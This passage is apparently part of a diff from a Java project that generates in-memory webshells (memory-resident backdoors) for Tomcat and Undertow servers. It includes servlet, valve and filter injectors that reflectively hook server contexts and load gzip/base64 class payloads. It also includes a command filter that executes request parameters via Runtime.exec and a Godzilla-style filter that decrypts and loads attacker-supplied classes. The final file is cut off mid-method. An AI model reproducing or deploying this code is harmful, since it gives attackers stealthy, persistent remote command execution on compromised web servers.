||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
private Object getServlet(Object context) {
|
||||
Object servlet = null;
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
if (classLoader == null) {
|
||||
classLoader = context.getClass().getClassLoader();
|
||||
}
|
||||
try {
|
||||
servlet = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
servlet = clazz.newInstance();
|
||||
} catch (Throwable ee) {
|
||||
ee.printStackTrace();
|
||||
}
|
||||
}
|
||||
return servlet;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void addServlet(Object context, Object servlet) throws Exception {
|
||||
if (isInjected(context)) {
|
||||
System.out.println("servlet already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class<?> containerClass = null;
|
||||
try {
|
||||
containerClass = Class.forName("org.apache.catalina.Container");
|
||||
} catch (ClassNotFoundException var12) {
|
||||
containerClass = Class.forName("org.apache.catalina.Container", true, context.getClass().getClassLoader());
|
||||
}
|
||||
|
||||
Object wrapper = invokeMethod(context, "createWrapper");
|
||||
invokeMethod(wrapper, "setName", new Class[]{String.class}, new Object[]{getClassName()});
|
||||
invokeMethod(wrapper, "setLoadOnStartup", new Class[]{Integer.TYPE}, new Object[]{1});
|
||||
setFieldValue(wrapper, "instance", servlet);
|
||||
invokeMethod(wrapper, "setServletClass", new Class[]{String.class}, new Object[]{this.getClassName()});
|
||||
invokeMethod(context, "addChild", new Class[]{containerClass}, new Object[]{wrapper});
|
||||
|
||||
try {
|
||||
invokeMethod(context, "addServletMapping", new Class[]{String.class, String.class}, new Object[]{getUrlPattern(), getClassName()});
|
||||
} catch (NoSuchMethodException var11) {
|
||||
invokeMethod(context, "addServletMappingDecoded", new Class[]{String.class, String.class, Boolean.TYPE}, new Object[]{getUrlPattern(), getClassName(), false});
|
||||
}
|
||||
support56Inject(context, wrapper);
|
||||
System.out.println("servlet inject success");
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context) throws Exception {
|
||||
Map<String, String> servletMappings = (Map<String, String>) getFV(context, "servletMappings");
|
||||
Collection<String> values = servletMappings.values();
|
||||
for (String name : values) {
|
||||
System.out.println(name);
|
||||
if (name.equals(getClassName())) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private void support56Inject(Object context, Object wrapper) throws Exception {
|
||||
Class<?> serverInfo = Class.forName("org.apache.catalina.util.ServerInfo", false, context.getClass().getClassLoader());
|
||||
String number = (String) invokeMethod(serverInfo, "getServerNumber");
|
||||
if (!number.startsWith("5") && !number.startsWith("6")) {
|
||||
return;
|
||||
}
|
||||
Object connectors = getFV(getFV(getFV(getFV(context, "parent"), "parent"), "service"), "connectors");
|
||||
int connectorsLength = Array.getLength(connectors);
|
||||
for (int i = 0; i < connectorsLength; ++i) {
|
||||
Object connector = Array.get(connectors, i);
|
||||
String protocolHandlerClassName = (String) getFV(connector, "protocolHandlerClassName");
|
||||
if (!protocolHandlerClassName.contains("Http")) {
|
||||
continue;
|
||||
}
|
||||
Object contexts = getFV(getFV(Array.get(getFV(getFV(connector, "mapper"), "hosts"), 0), "contextList"), "contexts");
|
||||
int contextsLength = Array.getLength(contexts);
|
||||
for (int j = 0; j < contextsLength; ++j) {
|
||||
Object o = Array.get(contexts, j);
|
||||
if (getFV(o, "object") != context) {
|
||||
continue;
|
||||
}
|
||||
Class<?> mapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper", false, context.getClass().getClassLoader());
|
||||
Class<?> wrapperClazz = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$Wrapper", false, context.getClass().getClassLoader());
|
||||
Constructor<?> declaredConstructor = wrapperClazz.getDeclaredConstructors()[0];
|
||||
declaredConstructor.setAccessible(true);
|
||||
Object newWrapper = declaredConstructor.newInstance();
|
||||
setFieldValue(newWrapper, "object", wrapper);
|
||||
setFieldValue(newWrapper, "jspWildCard", false);
|
||||
setFieldValue(newWrapper, "name", getUrlPattern());
|
||||
|
||||
Object exactWrappers = getFV(o, "exactWrappers");
|
||||
int length = Array.getLength(exactWrappers);
|
||||
Object newWrappers = Array.newInstance(wrapperClazz, length + 1);
|
||||
Class<?> mapElementClass = Class.forName("org.apache.tomcat.util.http.mapper.Mapper$MapElement", false, context.getClass().getClassLoader());
|
||||
Class<?> mapElementArrayClass = Array.newInstance(mapElementClass, 0).getClass();
|
||||
invokeMethod(mapperClazz, "insertMap", new Class[]{mapElementArrayClass, mapElementArrayClass, mapElementClass}, new Object[]{exactWrappers, newWrappers, newWrapper});
|
||||
setFieldValue(o, "exactWrappers", newWrappers);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-255
@@ -1,255 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.injector;
|
||||
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.Arrays;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
/**
|
||||
* Date: 2022/11/01
|
||||
* Author: pen4uin
|
||||
* Description: Tomcat Valve 注入器
|
||||
* Tested version:
|
||||
* jdk v1.8.0_275
|
||||
* tomcat v8.5.83, v9.0.67
|
||||
*/
|
||||
public class TomcatValveInjector {
|
||||
|
||||
static {
|
||||
new TomcatValveInjector();
|
||||
}
|
||||
|
||||
public TomcatValveInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object valve = getValve(context);
|
||||
if (valve == null) {
|
||||
continue;
|
||||
}
|
||||
System.out.println(valve);
|
||||
injectValve(context, valve);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private static synchronized Object getFV(Object var0, String var1) throws Exception {
|
||||
Field var2 = null;
|
||||
Class var3 = var0.getClass();
|
||||
|
||||
while (var3 != Object.class) {
|
||||
try {
|
||||
var2 = var3.getDeclaredField(var1);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
var3 = var3.getSuperclass();
|
||||
}
|
||||
}
|
||||
|
||||
if (var2 == null) {
|
||||
throw new NoSuchFieldException(var1);
|
||||
} else {
|
||||
var2.setAccessible(true);
|
||||
return var2.get(var0);
|
||||
}
|
||||
}
|
||||
|
||||
private static synchronized Object invokeMethod(final Object obj, final String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
Object context = null;
|
||||
try {
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5/v6/7/8
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor") && context == null) {
|
||||
HashMap childrenMap = (HashMap) getFV(getFV(getFV(thread, "target"), "this$0"), "children");
|
||||
// 原: map.get("localhost")
|
||||
// 之前没有对 StandardHost 进行遍历,只考虑了 localhost 的情况,如果目标自定义了 host,则会获取不到对应的 context,导致注入失败
|
||||
for (Object key : childrenMap.keySet()) {
|
||||
HashMap children = (HashMap) getFV(childrenMap.get(key), "children");
|
||||
// 原: context = children.get("");
|
||||
// 之前没有对context map进行遍历,只考虑了 ROOT context 存在的情况,如果目标tomcat不存在 ROOT context,则会注入失败
|
||||
for (Object key1 : children.keySet()) {
|
||||
context = children.get(key1);
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
// 兼容 spring boot 2.x embedded tomcat
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
// 适配 tomcat v9
|
||||
else if (thread.getContextClassLoader() != null && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) {
|
||||
context = getFV(getFV(thread.getContextClassLoader(), "resources"), "context");
|
||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
if (context != null && context.getClass().getName().contains("TomcatEmbeddedContext")) {
|
||||
contexts.add(context);
|
||||
}
|
||||
}
|
||||
}
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
return contexts;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
private Object getValve(Object context) {
|
||||
Object valve = null;
|
||||
ClassLoader classLoader = context.getClass().getClassLoader();
|
||||
try {
|
||||
valve = classLoader.loadClass(getClassName()).newInstance();
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||
defineClass.setAccessible(true);
|
||||
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||
valve = clazz.newInstance();
|
||||
} catch (Exception e2) {
|
||||
e2.printStackTrace();
|
||||
}
|
||||
}
|
||||
return valve;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public boolean isInjected(Object context, String valveClassName) throws Exception {
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
Object[] valves = (Object[]) invokeMethod(obj, "getValves");
|
||||
List<Object> valvesList = Arrays.asList(valves);
|
||||
for (Object valve : valvesList) {
|
||||
if (valve.getClass().getName().contains(valveClassName)) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public void injectValve(Object context, Object valve) throws Exception {
|
||||
if (isInjected(context, valve.getClass().getName())) {
|
||||
System.out.println("valve already injected");
|
||||
return;
|
||||
}
|
||||
try {
|
||||
Class valveClass;
|
||||
String valveClassName = "org.apache.catalina.Valve";
|
||||
valveClass = context.getClass().getClassLoader().loadClass(valveClassName);
|
||||
Object obj = invokeMethod(context, "getPipeline");
|
||||
invokeMethod(obj, "addValve", new Class[]{valveClass}, new Object[]{valve});
|
||||
} catch (Exception e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
}
|
||||
|
||||
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
ClassLoader catalinaLoader = null;
|
||||
for (Thread thread : threads) {
|
||||
// 适配 v5 的 Class Loader 问题
|
||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
||||
catalinaLoader = thread.getContextClassLoader();
|
||||
break;
|
||||
}
|
||||
}
|
||||
return catalinaLoader;
|
||||
}
|
||||
}
|
||||
-48
@@ -1,48 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.undertow.command;
|
||||
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandFilter implements Filter {
|
||||
public String paramName = "{{paramName}}";
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
|
||||
}
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getParameter(paramName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
-127
@@ -1,127 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.undertow.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import javax.servlet.*;
|
||||
import javax.servlet.http.HttpServletRequest;
|
||||
import javax.servlet.http.HttpServletResponse;
|
||||
import javax.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||
public String key = "{{key}}";
|
||||
public String pass = "{{pass}}";
|
||||
public String md5 = "{{md5}}";
|
||||
public String headerName = "{{headerName}}";
|
||||
public String headerValue = "{{headerValue}}";
|
||||
|
||||
public GodzillaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
public void init(FilterConfig filterConfig) throws ServletException {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void destroy() {
|
||||
}
|
||||
}
|
||||
-223
@@ -1,223 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.undertow.injector;
|
||||
|
||||
import javax.servlet.DispatcherType;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
import java.lang.reflect.Field;
|
||||
import java.lang.reflect.InvocationTargetException;
|
||||
import java.lang.reflect.Method;
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.zip.GZIPInputStream;
|
||||
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class UndertowFilterInjector {
|
||||
|
||||
static {
|
||||
new UndertowFilterInjector();
|
||||
}
|
||||
|
||||
|
||||
public UndertowFilterInjector() {
|
||||
try {
|
||||
List<Object> contexts = getContext();
|
||||
for (Object context : contexts) {
|
||||
Object filter = getFilter(context);
|
||||
addFilter(context, filter);
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class<?> decoderClass;
|
||||
try {
|
||||
decoderClass = Class.forName("sun.misc.BASE64Decoder");
|
||||
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
|
||||
} catch (Exception ignored) {
|
||||
decoderClass = Class.forName("java.util.Base64");
|
||||
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
|
||||
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
|
||||
GZIPInputStream ungzip = new GZIPInputStream(in);
|
||||
byte[] buffer = new byte[256];
|
||||
int n;
|
||||
while ((n = ungzip.read(buffer)) >= 0) {
|
||||
out.write(buffer, 0, n);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
static Object getFV(Object obj, String fieldName) throws Exception {
|
||||
try {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
} catch (Exception e) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != null) {
|
||||
try {
|
||||
Field field = clazz.getDeclaredField(fieldName);
|
||||
field.setAccessible(true);
|
||||
return field;
|
||||
} catch (NoSuchFieldException e) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
throw new NoSuchFieldException(fieldName);
|
||||
}
|
||||
|
||||
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
|
||||
Field field = getF(obj, fieldName);
|
||||
field.set(obj, value);
|
||||
}
|
||||
|
||||
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
|
||||
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
|
||||
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
|
||||
Method method = null;
|
||||
Class tempClass = clazz;
|
||||
while (method == null && tempClass != null) {
|
||||
try {
|
||||
if (paramClazz == null) {
|
||||
// Get all declared methods of the class
|
||||
Method[] methods = tempClass.getDeclaredMethods();
|
||||
for (int i = 0; i < methods.length; i++) {
|
||||
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
|
||||
method = methods[i];
|
||||
break;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
method = tempClass.getDeclaredMethod(methodName, paramClazz);
|
||||
}
|
||||
} catch (NoSuchMethodException e) {
|
||||
tempClass = tempClass.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (method == null) {
|
||||
throw new NoSuchMethodException(methodName);
|
||||
}
|
||||
method.setAccessible(true);
|
||||
if (obj instanceof Class) {
|
||||
try {
|
||||
return method.invoke(null, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
} else {
|
||||
try {
|
||||
return method.invoke(obj, param);
|
||||
} catch (IllegalAccessException e) {
|
||||
throw new RuntimeException(e.getMessage());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public String getUrlPattern() {
|
||||
return "{{urlPattern}}";
|
||||
}
|
||||
|
||||
public String getClassName() {
|
||||
return "{{className}}";
|
||||
}
|
||||
|
||||
public String getBase64String() throws IOException {
|
||||
return "{{base64Str}}";
|
||||
}
|
||||
|
||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
||||
List<Object> contexts = new ArrayList<Object>();
|
||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
||||
for (Thread thread : threads) {
|
||||
try {
|
